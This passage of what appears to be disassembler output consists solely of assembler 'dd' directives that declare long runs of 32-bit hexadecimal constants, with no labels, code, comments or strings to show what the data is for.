		dd 0C2970DACh, 84931EEBh, 62469815h, 0F7F2C39h,	4462C328h
		dd 80C5844Ah, 0AD258C87h, 0D7A3F462h, 21775E88h, 0A80D0DA9h
		dd 0E8F69719h, 11250DE2h, 0C47004AFh, 64B67CCFh, 11A3D014h
		dd 2CEC4464h, 0DF0BA20Dh, 6822A008h, 83B628E2h,	59354812h
		dd 96101D4Ch, 23D8B37Ch, 8727884Ah, 68088A28h, 73B8328Fh
		dd 49FD23BAh, 314A65AFh, 5757D420h, 97EF4A0Eh, 0F4F1E960h
		dd 5C74BC1h, 0D9AEB948h, 1DA81409h, 0E8A1528Bh,	1E575944h
		dd 77A04739h, 0AD56DE8Ch, 0EC4B6014h, 9F6AD07Dh, 225632D0h
		dd 0DD019A50h, 0C249E6E9h, 2A0A5F41h, 0F4251C0h, 240404ABh
		dd 0B08BF3EBh, 0FF05C9E6h, 68A4190h, 0F461502h,	0F27300A3h
		dd 0CAC1C18Bh, 0C3C95E20h, 5CA4404Bh, 0F30FE33Bh, 3CFF0A8Dh
		dd 40C77FC9h, 9037340Bh, 27E82315h, 0F2F90ABCh,	98A1123Bh
		dd 0FE5B5EB8h, 59D07C60h, 0B8A28443h, 0FF18260Bh, 0E376E80Ah
		dd 9FCCE980h, 150A1ADBh, 3D141924h, 0F6825E06h,	98088BA1h
		dd 0A06814A2h, 0EE406A0Ch, 374B48E0h, 0AA8FE817h, 593A5199h
		dd 0D286AB5h, 3DF43BDAh, 0A01611F2h, 5A46350Eh,	462C4950h
		dd 26684637h, 69213731h, 554F9B26h, 8148949h, 11494A8Bh
		dd 0F93F07BBh, 98B85FE0h, 0FE59539h, 13246221h,	46CE6D96h
		dd 12CF7019h, 65455BD4h, 0AE4A247Bh, 0F85B36B8h, 0D423E377h
		dd 5E36B7BFh, 5F13FED2h, 49DFE2BAh, 0A26B5246h,	0A6A988ADh
		dd 4583206Fh, 0F87C6414h, 8F171AA5h, 0BFEE64BFh, 6614CEEDh
		dd 0BA4C21A1h, 0C70518DAh, 510D4930h, 0F9D29BAFh, 0D1FA9332h
		dd 7F597452h, 78B8597h,	22C801C9h, 34DBCE32h, 9728BAF6h
		dd 4D3FC53Fh, 0E188BF10h, 4845D002h, 7923528Ah,	3A457B1Ch
		dd 0C3250510h, 7CF1C8FFh
		dd 0C27B142h, 534BD9D1h, 0EAF89760h, 0AD7B9539h, 7F0C09DDh
		dd 19515162h, 31D5Ch, 7EC22B99h, 0E9329CD1h, 0CA199DDEh
		dd 0FF7D109Fh, 0D2BE1B10h, 115071FAh, 0F024478Bh, 4C1548Dh
		dd 4589F3CEh, 171C1AEBh, 0A6EA0BD3h, 0DE0C2D98h, 0EDF459B5h
		dd 0F0E32B96h, 30408DB4h, 6B42215Dh, 0EAC9C640h, 0F0309F8h
		dd 7E84C194h, 9B8B4920h, 4EE2B36h, 5218C41Dh, 59142408h
		dd 0BD2E0D20h, 0B312C9DCh, 3B72162Dh, 2F2DFE0Ah, 0D41CA3CCh
		dd 6834B029h, 724EBA30h, 0DC1D8F0h, 73D78A2Ch, 6E1C9A15h
		dd 4E21027h, 51055202h,	0F02A10Ch, 4907E083h, 93330A60h
		dd 8990A797h, 42B8547Ch, 84380951h, 8D780F6Ah, 96F9884Dh
		dd 58BB1418h, 0F0059EA5h, 5A98FF71h, 0C9100222h, 0D71C8458h
		dd 96541452h, 0D0CAC7CCh, 0F8913DF1h, 0AFBCAC84h, 9B0F2E63h
		dd 0B5436220h, 8B428845h, 19771B9Ah, 5A4102ACh,	681601C1h
		dd 52845515h, 8470A85Ah, 14243D89h, 0B0521A82h,	0AE2B755Ah
		dd 0EECA4BF5h, 0C89B70Ah, 0A328A5A2h, 0D500830h, 0E0998906h
		dd 4EC475A7h, 515F1F8Ah, 8EA43932h, 311C647Ah, 842A153h
		dd 24BCB150h, 3B5EF00Ch, 36C928E9h, 2D1471Bh, 4D5C50A3h
		dd 57AA8984h, 69282830h, 3B8ADC91h, 0BF2C4205h,	70807C20h
		dd 9D9332EBh, 65097425h, 0E8DE2025h, 3995052Dh,	53481511h
		dd 0BF4A8501h, 28BBCAE8h, 0F4806FAh, 0F838578Eh, 121EED38h
		dd 922CBB1Ah, 6B1191AFh, 392BAC74h, 21518924h, 56809F4Ch
		dd 2C64A0CCh, 0D2AB2514h, 4D4C84EEh, 3974EB24h,	7224C51h
		dd 68682184h, 0EEEA9D35h, 0D5E82A41h, 93B77B04h, 0CB0F2124h
		dd 0D6BC2CFEh, 10558855h, 761FCA15h, 0A06157FCh, 7F587515h
		dd 9F3609Fh, 4875E31Ah,	31A1B93Ah, 7846C26Ah, 0D1860552h
		dd 3137F963h, 2849BB5Eh, 5215D540h, 3178F0A6h, 0B7E98567h
		dd 67208C9h, 55B0235Eh,	0E479F5C9h, 9976AA26h, 5A158B0h
		dd 2C204485h, 1428602h,	0AE1C5B8h, 0FC16A646h, 3E5628B8h
		dd 12446B91h, 43C1CA9Ch, 0B0399202h, 0A49D2FDAh, 40C583Ah
		dd 0EB8A5891h, 5AC43E63h, 0C665A98Ah, 0E809130Dh, 528812BCh
		dd 388F4271h, 3488A822h, 11BAA8B4h, 22C964E0h, 5E05169Ah
		dd 540513A1h, 0C9B22452h, 0C83CB45Ch, 0D23AFDABh, 5DA22870h
		dd 72516592h, 2073A272h, 0CB31657h, 73560490h, 70537194h
		dd 290431E1h, 1123AB20h, 5155EBE2h, 0B78FE21Dh,	98A8423Ah
		dd 95010F62h, 622BDC47h, 0E8A847FAh, 7F1AA2B0h,	2999D10Dh
		dd 0AAEC8C40h, 480EE5ECh, 0FB2FE6h, 511A89C9h, 681540A8h
		dd 434BDECCh, 0BCC5A7ACh, 28A3289Fh, 6A9D6A7Fh,	2182F965h
		dd 9A511349h, 0D94C24BBh, 6689F80Dh, 516838E0h,	32483DC8h
		dd 453DAE7Fh, 0E8923A23h, 79F5710Bh, 0DDB1A512h, 0F058B012h
		dd 0D6BFFEF8h, 0A039728Fh, 5F9FBA66h, 2CE9E2A8h, 730A16AEh
		dd 0FD7753BAh, 0F9EFDFC8h, 14AD3B12h, 0D13B8B02h, 2F075FA7h
		dd 50DBBF12h, 0B8567C17h, 0F1EBA532h, 0EA0A1542h, 6A083A11h
		dd 949DFCDh, 0ACF62D8Ch, 4420A91Eh, 61AB845Bh, 8B390410h
		dd 442E7486h, 78285C22h, 1A938FA2h, 4EC5F0FAh, 46630E09h
		dd 0BBF04B13h, 5E27D98Bh, 81E770D3h, 17F95A2Bh,	0BF6C85C7h
		dd 36EAE2DDh, 187C02F1h, 68FCC70Ch, 5D167F9Dh, 0AA8B1CF9h
		dd 0A0595D0Ah, 0E7FA14C5h, 1AFC1201h, 5F57CAFBh, 0FCAF40AEh
		dd 1418F0Fh, 4030CA9h, 0F42025F6h, 0C9246BE6h, 3B82F02Ch
		dd 7F467091h, 5778A06Ah, 0EE8DD4BDh, 21770B62h,	0CC5D0689h
		dd 0A401F4D5h, 0EC03ECF7h, 70DCF4Ah, 91576689h,	2FA481EEh
		dd 2532BF18h, 3E110213h, 68100412h, 5F48F9EBh, 0D2C17C81h
		dd 2029E9B9h, 0D222CC63h, 7C5182E0h, 5205CE11h,	39802262h
		dd 84230A41h, 88A23090h, 7B191F39h, 7C11F710h, 0F863D582h
		dd 2CC02205h, 32259405h, 0C14A0CA2h, 0E5011498h, 8B604702h
		dd 5177CE42h, 8CDCAFBDh, 0FE8A1604h, 0EAF2FA25h, 4D6BF85Ah
		dd 7740CA9Dh, 3B09DA6Ah, 73091082h, 316EBD0Bh, 0EFF2FC5Bh
		dd 0EFE9F0C4h, 0DE65311Ch, 0AE84FA92h, 88245398h, 2FFFF513h
		dd 12E75E20h, 8D57EA4Bh, 0FA3552EBh, 7417628Bh,	7030EE49h
		dd 0BF137C61h, 66824F71h, 818A0A7Fh, 88D904C3h,	901AFA52h
		dd 467C411Ch, 7F460811h, 52F94408h, 591C9FEh, 0B7F5BE17h
		dd 9EEBC889h, 49D0C757h, 808790F2h, 0DDFAFC92h,	6078B795h
		dd 6FB8F8A6h, 830CB09h,	0BC127E5Ah, 258A02C1h, 7F7A1B90h
		dd 5AE81C5Eh, 30B7BEE4h, 0C065984Eh, 5BE1F197h,	0F4F1E14Bh
		dd 0FE4EFF36h, 47665615h, 0EE03C820h, 8E02FC50h, 1F23043h
		dd 51367475h, 42235E0Dh, 47032120h, 105E08EDh, 0A2176803h
		dd 57101FCDh, 131DADA2h, 0A8E3AB02h, 0A0539038h, 4504E2h
		dd 8D92021h, 51FCA1Dh, 0AE3D8151h, 0BAA419A0h, 1D75249Ah
		dd 0C223592Dh, 7F252C73h, 7D25B53Dh, 0D177B0BAh, 6EC5BDE5h
		dd 2308D7B7h, 750B1055h, 15B49931h, 0EF8C996Fh,	4A21BDBCh
		dd 893946A8h, 0E44AFDCBh, 0FD63E8EAh, 50F3F7C6h, 27E8F0DCh
		dd 10543C1Ah, 962EEB70h, 0B1E64266h, 0DF4732F5h, 0C7554532h
		dd 251F20B0h, 0B1FEB257h, 0B88088D4h, 2568BA24h, 0CBF8B3E8h
		dd 9789559Fh, 769A5A7Fh, 0DEC6789h, 52E4C4C7h, 0CCB7D9AEh
		dd 0DC2D6821h, 1DA657DEh, 0D0F82581h, 0E8020CA0h, 0FEC70C16h
		dd 3D1DDEABh, 0FBFDDE6Ah, 36865084h, 0E5F4459Ah, 820647BDh
		dd 9F651F74h, 881F3195h, 96D06EF0h, 9021E3B3h, 8D2B0C85h
		dd 0CA89140Eh, 6A020E8h, 0FB8E0AA0h, 59857DA3h,	49958DB2h
		dd 28D084A6h, 6823FE85h, 766E8082h, 0FF310729h,	37268145h
		dd 0A7C4A5Fh, 6B0CE0FEh, 5522FEFEh, 6812B6D0h, 763E068Eh
		dd 301AF845h, 90CFDC21h, 786812D1h, 7E511406h, 0C61571D1h
		dd 0F8C8CB89h, 23C1D06Eh, 8F3A7FE8h, 4F05381Dh,	15654D0Bh
		dd 99E0FC6Ah, 7A52F87Ch, 86852BE4h, 2B580A95h, 8D82A07Ch
		dd 418F0DE9h, 0F4FD2B89h, 253035C4h, 985E3282h,	9D557D1Fh
		dd 8A5B2756h, 29221A84h, 6E75AE5Ch, 8252F6E9h, 68355677h
		dd 0DDE41098h, 0E81A82A1h, 8E9439D7h, 423ED99Fh, 0A51A39D4h
		dd 0D62CF454h, 8A58A690h, 50E2553Eh, 0C954A0DEh, 0B9F5034Dh
		dd 0FC9F3BDCh, 36D1A772h, 57730C0Bh, 5595B61Eh,	0EADCBBB3h
		dd 0CC900A2h, 12849BD5h, 0BD52110Eh, 0FFA584EAh, 622F4199h
		dd 0B975306Eh, 9C2E01D5h, 21AC8470h, 0F649A94h,	0CB7736BAh
		dd 0C84AF49Dh, 0A501A630h, 0F41C3B7Dh, 0C4354F0Ah, 10E11CF4h
		dd 34BB5E4Dh, 5CA2EF36h, 0E7F6957Fh, 0E2EB0C45h, 7F1D4125h
		dd 0DF6AE01Ah, 5697039Ch, 9ADD5AC0h, 0B43E548Ch, 22EED408h
		dd 14AA2565h, 467D6967h, 0D111133Ch, 258ABEE2h,	0B1A0432h
		dd 0DB770042h, 81612078h, 805DF811h, 4960C7A1h,	0F764CADDh
		dd 39BD8016h, 0F83B044Bh, 5569D18Bh, 0EA460C20h, 65A0C3A5h
		dd 65A9A1FDh, 0EA148248h, 5D10CB75h, 666450C7h,	6F4EE1F0h
		dd 0FA364440h, 0DD9BFB77h, 7BF5634Eh, 0EB1288A6h, 8E77AA12h
		dd 2CB16569h, 74764307h, 7EEC494Fh, 44A0A9Eh, 0BF5244A5h
		dd 0A14BBEA3h, 93F63AD0h, 0D0709C6Bh, 62BD0C84h, 0BD327169h
		dd 0CBD3FE2Fh, 32A838B2h, 936DCDDEh, 0A5B7BD3Ah, 0C7685AEAh
		dd 0FDD18982h, 58E90810h, 10C90974h, 43D891DDh,	8791AC2Eh
		dd 25FDEAC1h, 0F320054h, 0EFE713E2h, 0BC5E90Fh,	41948D1h
		dd 18271145h, 65E053EFh
		dd 0DE83E8F0h, 10E23D3Ah, 1AFFB4EBh, 1051D543h,	93210EA6h
		dd 52991591h, 26BF1555h, 0D7685238h, 0A44F3A78h, 20B30A48h
		dd 0B44A81CEh, 0C84542A7h, 6698BB82h, 275B93FDh, 4FC68C0Ah
		dd 2FC89056h, 0CBFEF9ACh, 5240CEDFh, 882307C0h,	9488EC11h
		dd 0B462BCC4h, 55958D4Eh, 7F9C7A31h, 0BFF558B9h, 16219B92h
		dd 53BD16F6h, 0D50A9E70h, 0D89210Bh, 83FA427Dh,	0F00AB4AAh
		dd 96075784h, 0B4C949DDh, 22CE7FC4h, 809EB433h,	0B084273h
		dd 4731870Fh, 24FFD04Dh, 6E380A8Dh, 557E6343h, 31800CC4h
		dd 45121B7Ch, 485D782h,	3934812h, 0C6A6FC65h, 0C9247528h
		dd 0C9D50508h, 4306D02Dh, 5DEB10F9h, 88C4C58Ah,	8067E48Dh
		dd 2B416DBCh, 9481D74h,	8C23F22Dh, 97A13079h, 15F9027h
		dd 0FE132E8Dh, 0EACF3F2Ah, 80710F1Fh, 0BF1410FDh, 8A7B08F1h
		dd 24E93AFAh, 3C685706h, 0A5209C23h, 814D1E40h,	141502F9h
		dd 4DEF2E8Eh, 58B93A27h, 4C8A8D0h, 0C0226B45h, 9FF25589h
		dd 682D7B0h, 0FE2BE241h, 40BD0991h, 39773A06h, 6A1E8B55h
		dd 4A0817FCh, 3A46436Eh, 11B9850Fh, 0F206222Bh,	7D45BF22h
		dd 120B2532h, 2DA5B616h, 5D39C3Ah, 105D5424h, 862AFC42h
		dd 93767443h, 0A2099042h, 9424450Dh, 6884F39Ch,	12218B05h
		dd 0F32B11EBh, 1BF6DC5Bh, 1302769Dh, 2EDAC9C4h,	0C40930C3h
		dd 70FE0824h, 0BE77FCA5h, 352ABA5Ah, 2520C44Ah,	61E1020h
		dd 3244FE4Fh, 30AC1990h, 125C4D3Bh, 8CDF29DFh, 98AC30EAh
		dd 0AD776BBFh, 0A6E8155Eh, 0E5E3D69Fh, 8C3714E9h, 438C62FCh
		dd 3F85766Ch, 41867FC3h, 9139FE30h, 0A78C8518h,	9C25A83h
		dd 75951896h, 0C12B089Ah, 2528DADEh, 0A07E59BDh, 8459599h
		dd 5D27AA2Bh, 96881D09h, 0C25EBB57h, 0CCD711CDh, 88C45838h
		dd 0CDB3AEB5h, 3550C4C8h, 68788E08h, 8A0FF98Ch,	0D26EDE68h
		dd 19324C32h, 4858BB27h, 2226DF2Ch, 4930E862h, 75FF8847h
		dd 4BF7862Ah, 72E9128Dh, 95E64A36h, 8A7250F6h, 0FF3C327Bh
		dd 151DFF86h, 4AA0AE1Eh, 436E21D8h, 326DCC12h, 32942432h
		dd 94B4AADh, 1C031EE9h,	62EB872Bh, 6039074Ah, 0CEBF921Fh
		dd 0F4122493h, 475A80E8h, 89C13BC0h, 3B02A8EDh,	9C0BC4B6h
		dd 991341Dh, 858A55B1h,	5C958846h, 0E6DA1C8Dh, 0F32D7970h
		dd 0E71419FEh, 22E498CFh, 26440848h, 0EB30748h,	0B637408Ch
		dd 8510A616h, 53214487h, 2E4775BBh, 897259FBh, 0E4604130h
		dd 8BF5A34Ah, 0D7C38EC6h, 851BBF38h, 1BA93923h,	45F88469h
		dd 37588504h, 1B087968h, 1E74D20h, 0B14B0170h, 64DC0E69h
		dd 0BDDA4CB8h, 0AE52C85Ah, 84528Bh, 4C547205h, 0FE62D3C8h
		dd 0FB4F109Fh, 0FF54CC44h, 88D06E27h, 6B840228h, 0BC900AC0h
		dd 84E548Dh, 81F8CEE1h,	6550E67Dh, 5F7E6C14h, 62511EA1h
		dd 7CE90513h, 5EFAB089h, 753F26FDh, 9163F69Fh, 1BDAF950h
		dd 150935E4h, 96215A2h,	497F64EBh, 0CE324E33h, 42449C89h
		dd 6414C43h, 0F31B2620h, 7C36FCE7h, 0AB14194Ch,	2F935B5Ch
		dd 0F89F1523h, 0D7AC5BE1h, 0ACE211CCh, 3D6384B7h, 1C01459h
		dd 880C3385h, 900C2989h, 2B761812h, 5DFF448h, 1E097C05h
		dd 0AFFF278Fh, 45A6DB09h, 0E6306230h, 0C01085EAh, 7612639Bh
		dd 0E136D186h, 74E94A38h, 0EB27774Eh, 0DF9F1AF5h, 5D907E05h
		dd 803AAB13h, 4D8DD9EBh, 31D651A0h, 9C8CAB0h, 0F614E850h
		dd 5E2E665Fh, 8BCABC8Ch, 0ACB36BECh, 0DB031C1Eh, 0EEF56C94h
		dd 0B09B4CC9h, 189A1E45h, 0F445A576h, 2B420F19h, 0B83E1CCDh
		dd 0A2D494A4h, 670BC6C0h, 6DB02542h, 2521DBA2h,	0FE309288h
		dd 50A06689h, 0A7E81275h, 4F5CE228h, 66D3E1Fh, 5E30B83Ah
		dd 0A60C23A2h, 29F09832h, 1D7C2CAAh, 0B813DD9Ch, 44F2E389h
		dd 643FEB4Ch, 43B2EB2Dh, 4247F824h, 239E2975h, 76AB68D2h
		dd 454148A7h, 0D6BC5102h, 0EB0CB1BBh, 146C2257h, 12292574h
		dd 65BB7FFFh, 4245A6BEh, 567A6D43h, 64E3F87Eh, 8D882C56h
		dd 7D265674h, 12E48F4h,	3A26EBA7h, 9D7BB826h, 0F847F3DCh
		dd 55024282h, 6C506DCh,	4A223666h, 0B345B9E4h, 0BC342D0Ah
		dd 2E641F91h, 865110Ch,	8B664020h, 8067A388h, 4B8068D5h
		dd 6A308069h, 1191D281h, 6BF31083h, 0F9098F33h,	9E75932h
		dd 610B26F0h, 5CAD0EBDh, 16901DDh, 0FCC70251h, 7C40667Bh
		dd 97364D7h, 0B9E1578Eh, 9C0197CAh, 0B6C77F01h,	0AEAE5440h
		dd 0C009C8A5h, 0BCD647A3h, 144B5670h, 0A66F0DE5h, 92BBD337h
		dd 647DAFC8h, 9579FE3h,	0BDE4FD5Bh, 0CF360BFh, 0AA26D2BBh
		dd 790186DCh, 32D6BF75h, 501E5FE9h, 0CC97449h, 0D4D109Ch
		dd 22C2EBC4h, 0C6C89AA0h, 120FF4E0h, 86C61343h,	4408CCACh
		dd 0AF89AEADh, 0B124B012h, 0B391B248h, 0B544B422h, 0B7FB40B6h
		dd 0A86E3F62h, 7467D01h, 95261DBCh, 498D5E27h, 8F6845Fh
		dd 75FEC6CDh, 0D195156Ch, 4F989350h, 4D12901Bh,	0A61A7FFCh
		dd 0D5A79412h, 499ABBEEh, 40C61C01h, 7EB2D02h, 411244B3h
		dd 86CA20CAh, 3A751D30h, 27B7F99Fh, 0FAB83884h,	971C1288h
		dd 2868CF56h, 90420E6Ch, 43F88F4h, 515A930h, 2658627Bh
		dd 478E2F70h, 0EADAFAECh, 5553C20Ch, 4321E3DCh,	49814833h
		dd 7514F7AFh, 741B5A06h, 0ACFC7A34h, 0A3408B38h, 8268271Eh
		dd 927FDEDFh, 0E813E41Ch, 89F67A4Fh, 5E036540h,	857BF906h
		dd 63D995E9h, 0B54BCB26h, 0C05008E9h, 252A7521h, 0DED9E155h
		dd 3723434Ah, 0EB710544h, 46834A55h, 10F02133h,	0C3C1254Dh
		dd 33349DB0h, 3370E234h, 0A3E86822h, 0C009F424h, 0E0299F70h
		dd 0F8212484h, 29C79A21h, 0C178FABAh, 0FA63B2FAh, 6E8C9194h
		dd 0F49521BCh, 0E9C109EFh, 0C0892418h, 24C89C08h, 5DAF0FC2h
		dd 59C48461h, 942891D9h, 0D103C8C3h, 44A02C21h,	2F2B38C0h
		dd 18DAE055h, 2576F495h, 0D3A42049h, 0D2E7F964h, 0CED0DC0Ch
		dd 2893B881h, 0C86349CAh, 76A5E874h, 0F7A404C6h, 1261A3DAh
		dd 0DCEC23B3h, 27D24DC5h, 0AFF96455h, 1C7CDE91h, 0EEA48192h
		dd 528C4667h, 102194ACh, 1F4610C8h, 49920E94h, 876A46Ah
		dd 8CAF1845h, 54A24021h, 2EFD196Ah, 0E078B040h,	1C2E407Fh
		dd 0A6AC449Dh, 0AC25903Ch, 26014876h, 152511D2h, 56A72548h
		dd 68CBAF02h, 12635D15h, 0CA1D0C48h, 2D61DAD2h,	0E0723FFEh
		dd 4AB9D42Ah, 5B60CAD2h, 6F98F6D7h, 87379F0h, 80FB0E4Bh
		dd 0EF1BE8FAh, 93C2599Fh, 738AB9E3h, 0C4BC0EB7h, 0FCFDD8F7h
		dd 3A328C8Ah, 0B98627CBh, 487E4969h, 2B854932h,	9A7D27C8h
		dd 7F5809B8h, 94FD1A8Bh, 0D1BF9A83h, 0C34AEE62h, 4027E426h
		dd 275871CCh, 8CEC3104h, 0EE55A63Dh, 9A1C4C43h,	55240CA6h
		dd 0DAC259E4h, 8902E6EDh, 97197E1Ch, 65EAD374h,	0F49FEA85h
		dd 0D328C44Ch, 0E32EFDD8h, 0FA92D723h, 5811BAD8h, 3500FB7Bh
		dd 9AA25B7Ch, 31499A79h, 3A8939D6h, 16771372h, 0EB18EB53h
		dd 20D5D956h, 19732739h, 0B8CA23D9h, 5DF029Ch, 149D4138h
		dd 6211ED89h, 413EFB04h, 59EB1A88h, 86801EB6h, 0D72253Dh
		dd 30448FCEh, 1255A5DFh, 0C5DE3A2Bh, 362626EBh,	0C82B2593h
		dd 0C34FC2DCh, 67034A88h, 7A48AE29h, 0F7F62729h, 0A85AF12Ah
		dd 0ABB4F0B2h, 0BDE5E5C1h, 0A650F32Ah, 0BE6C2532h, 9D54505Eh
		dd 0D4A18001h, 0AB36F33h, 4AE83D09h, 0A4E510D4h, 0F5F5D9FFh
		dd 0DC2C8822h, 19748B33h, 0B21BD07h, 0EFCACC7Dh, 38912C6Ch
		dd 94C64D27h, 6882AE3h
		dd 0FB13B56Eh, 6AFE47A1h, 3CD907EDh, 572E9638h,	3FF96252h
		dd 10193C29h, 39761B3Bh, 5E089A37h, 870444C2h, 753DB129h
		dd 70ED3A28h, 0FE501991h, 0B7214A20h, 93FA4ADFh, 3F0902E0h
		dd 0FF08448Dh, 0A83629CBh, 0F60CBAC2h, 0F0C5B5A1h, 567040C9h
		dd 85CABFA1h, 0F0795B74h, 0AB930262h, 2107B92Ch, 0F4973373h
		dd 0A31D21BFh, 0F0FD0D46h, 324C144Ch, 8E2A1C90h, 8C820331h
		dd 230548Dh, 0FCBE7184h, 0E0FCD3DBh, 49E24829h,	7795B2F0h
		dd 0C477251Ah, 0EFEC4BBDh, 0DA66872Fh, 0EC38746Fh, 753A25C6h
		dd 7C8EDF14h, 4E7F19Fh,	55FE7FD3h, 891A2BAFh, 0C80344B1h
		dd 9D2B468h, 0D9553A98h, 0B0A16844h, 1C8A446Ch,	952659B5h
		dd 0E384379Ch, 9556245h, 82EB6790h, 39846FABh, 755EA902h
		dd 97F22051h, 730CC130h, 1C421D34h, 99720738h, 68103115h
		dd 0A2C25D3Ch, 122314BDh, 7E9DC447h, 8F70DC64h,	0B0FB9A31h
		dd 8E7EA132h, 0D98544F4h, 0AC6A1868h, 52B14737h, 5D818832h
		dd 0C9105E27h, 43C26035h, 2E881744h, 4B855644h,	6E16FF25h
		dd 0C7167BAAh, 0F7BA3850h, 434C4356h, 0E2E882DCh, 4C4CB943h
		dd 22E4FC15h, 4E82E6BDh, 0C4EE8898h, 283133A5h,	0A159C91h
		dd 5132B041h, 890E1644h, 940CA01Ch, 93DD958Ch, 0D8EF8C57h
		dd 0A44A881Eh, 0A678AE88h, 7155621Ch, 43140102h, 735C21A8h
		dd 4CAC05D1h, 37F51183h, 2178401h, 0D81AA174h, 25A2C281h
		dd 146887A5h, 0B8D35F08h, 5BC1D0C1h, 3B931DA9h,	0FF6E2055h
		dd 0EC4184CEh, 49D684EEh, 79D7F40Ch, 77EC1094h,	0C4E97C49h
		dd 20CA42C8h, 0A5779446h, 81540535h, 1536361Ch,	4A423784h
		dd 7E549188h, 0F99D91EBh, 0C9E80C70h, 0A02A897Fh, 71467AAAh
		dd 887BF923h, 0A9524240h, 869B1638h, 0A8684C37h, 37ACC2A8h
		dd 84A40942h, 91BE71AAh, 0BE8D3E98h, 49989947h,	61FD169Bh
		dd 4A41D237h, 1BE8CDF6h, 0BD9C88E4h, 82141273h,	216C4209h
		dd 419D4256h, 6AA1A395h, 98A7A010h, 230A2159h, 0AA45168h
		dd 0A3B98579h, 0A833917Ah, 7B9886A8h, 0FD52A094h, 6C47045h
		dd 142FD3B2h, 0BACC10BBh, 0D5F46C22h, 0CE58E6C5h, 21FE46B6h
		dd 96304FF8h, 0BF320EEh, 0D5B10D8Bh, 6C604A7h, 775B1809h
		dd 0E8647FA5h, 70E78638h, 432F1089h, 7D80ECCDh,	867B49Eh
		dd 760250Dh, 95E95FEBh,	10A487FBh, 5C7C24Eh, 7ABB7560h
		dd 1205C4Eh, 0A4137523h, 28015315h, 9B7F679Eh, 8B5A7BAh
		dd 8A78DCFBh, 0BDD90250h, 147C958Ch, 33A76D51h,	0E528C77Fh
		dd 19C422Bh, 134A2576h,	0BAA49B33h, 411D1529h, 0B82DFE2Bh
		dd 0E9B0250Ah, 5795FF0Fh, 44D7459Ah, 0FEB62100h, 22E5705Bh
		dd 2ABA0E76h, 178FDF95h, 0A02EEAF2h, 0FA560C14h, 1236FF4Fh
		dd 25E927B2h, 5560C4DEh, 4C47870Fh, 0EBD64505h,	82D97544h
		dd 0F5F7D33h, 0B2E777BCh, 7B4A1848h, 2175C47Dh,	0E98D05D3h
		dd 220A6813h, 8400D5D2h, 0F02331C0h, 8C771F04h,	8E8D3840h
		dd 68F2CD43h, 0AA726A04h, 60370229h, 267F1137h,	0DEEB93C7h
		dd 0D018268Fh, 6E0E8E1h, 0EC73AD27h, 0BF69B739h, 0ED654568h
		dd 6B1C511Dh, 7525221Eh, 22C4ED1Bh, 59CCD514h, 510A09F1h
		dd 8F64A8C8h, 4B73EB61h, 65A0C824h, 0F3756C6Bh,	1AFC0347h
		dd 500A28Ch, 0F7230D49h, 4664B389h, 6A1A2F0Dh, 10DF6302h
		dd 0A00490E8h, 44E9102Ah, 29A1A180h, 5751A9A3h,	594D506Dh
		dd 6829B83Ch, 15589128h, 7652158Bh, 4041C186h, 0DAB99908h
		dd 9765CE5Dh, 0F63712DDh, 430C11F8h, 0F80A9770h, 13644523h
		dd 840C592Bh, 22AA036Ah, 5C791CB8h, 2D69F61Fh, 0C402E60Ah
		dd 1C25F3F6h, 99C9C702h, 6B14B92Dh, 530420C7h, 912228A1h
		dd 8AE8D9D7h, 1C7F0B0Bh, 184E8B9Ch, 0A1295B72h,	1AEB0C28h
		dd 18896133h, 0D793955h, 29E91C48h, 0F9C6024Dh,	0F9340902h
		dd 526DA634h, 49B4C224h, 0E5D418E5h, 4374D968h,	52A05E01h
		dd 410252F3h, 0D601E315h, 79B804E4h, 8D32BB18h,	21FD1306h
		dd 38E88351h, 1C79D8B8h, 4A55793Bh, 78DCBA7Dh, 92A5912Dh
		dd 0A29FA1Ch, 1D632DFAh, 7C5B9311h, 0E6E3DEFh, 84A17DC7h
		dd 8A5F1C6Fh, 2E104B65h, 30E7BBF4h, 0B85518C9h,	9B039579h
		dd 242214FAh, 4686A0BCh, 51BF5A71h, 0A8EC55C5h,	1C404686h
		dd 1324D0E9h, 144199FBh, 0A29EE83Fh, 88796FFCh,	9AC701AAh
		dd 0A3BE9709h, 804ABF38h, 0C96B1393h, 641E23FBh, 0FE32BE2Ch
		dd 0A7FAD05Fh, 0CA041015h, 0EB43505Ah, 0AE04D74Dh, 33F868EBh
		dd 2D53C04Ch, 0BE57D420h, 0B9854E7Bh, 0DFF66778h, 224AB109h
		dd 2523D167h, 121F5972h, 653E8156h, 0AB08917Dh,	107EF810h
		dd 0BF227F20h, 44802B20h, 77889554h, 13DE8181h,	89597E2Bh
		dd 8CCE1288h, 89656104h, 32E71392h, 19596B09h, 7848A824h
		dd 1162BB8h, 0A8020150h, 89040307h, 60B5305h, 8F807FBh
		dd 0B520A09h, 0D0C0520h, 94C0F0Eh, 81110610h, 13164812h
		dd 0B151413h, 105032BFh, 3B971256h, 82D29EE8h, 5B4431C7h
		dd 694F54B5h, 0F333D01Ah, 0F7FF24C4h, 0FBB57C83h, 0EB403C6Ah
		dd 7EFBBD51h, 20ADA0A8h, 48866472h, 0A8E46416h,	54937D8Ah
		dd 52D7F9Bh, 73083BB9h,	0A2CD946Ch, 9CA15BEFh, 7EE48E2Bh
		dd 19915E8Ah, 3F082632h, 0E29287F9h, 8F2666Fh, 1488144Dh
		dd 0B1B41901h, 0C504323Dh, 2449BBEBh, 5FC8FF03h, 67A30A89h
		dd 0D8F2BEAh, 5DEB2710h, 0FE9FA196h, 4C7D72F0h,	0F032838Ch
		dd 0FD76013Ah, 8F4B745Eh, 0D1FB46E3h, 71ADE484h, 45527E3Bh
		dd 55BB7714h, 0E4DFF8C9h, 9702F2A0h, 11BDF19Ch,	1616F411h
		dd 9165F849h, 1320DB1Bh, 0AE028832h, 0FC0BF29Ah, 3455CC72h
		dd 0F7304F10h, 844B75DAh, 5B14E433h, 5CC10DE2h,	46FD7A19h
		dd 2F790524h, 0D2869ED7h, 9CD9FF5Eh, 0A429AA2Bh, 64A7852Bh
		dd 3BD92CF1h, 1B82C24Eh, 723C74DCh, 0C0E6640Bh,	792724CBh
		dd 52023EA6h, 34A870Fh,	0F24B9454h, 898C21D3h, 5D0F609Ah
		dd 3BB605D0h, 0D9BFC8B9h, 3F07D0Ch, 4E246F77h, 0DF8D3EF8h
		dd 193318Ah, 6DA14314h,	0D3B0AEBh, 0E042262h, 2FAE942h
		dd 0FA963E14h, 7C6FFBCAh, 42E2DF90h, 64B8A7EFh,	0E9413061h
		dd 0E01B85BCh, 74C39F6Ah, 40D2008h, 0C792389h, 99E92159h
		dd 0DCF1C13Fh, 27013407h, 6C20529Dh, 8556A70Eh,	0F272E949h
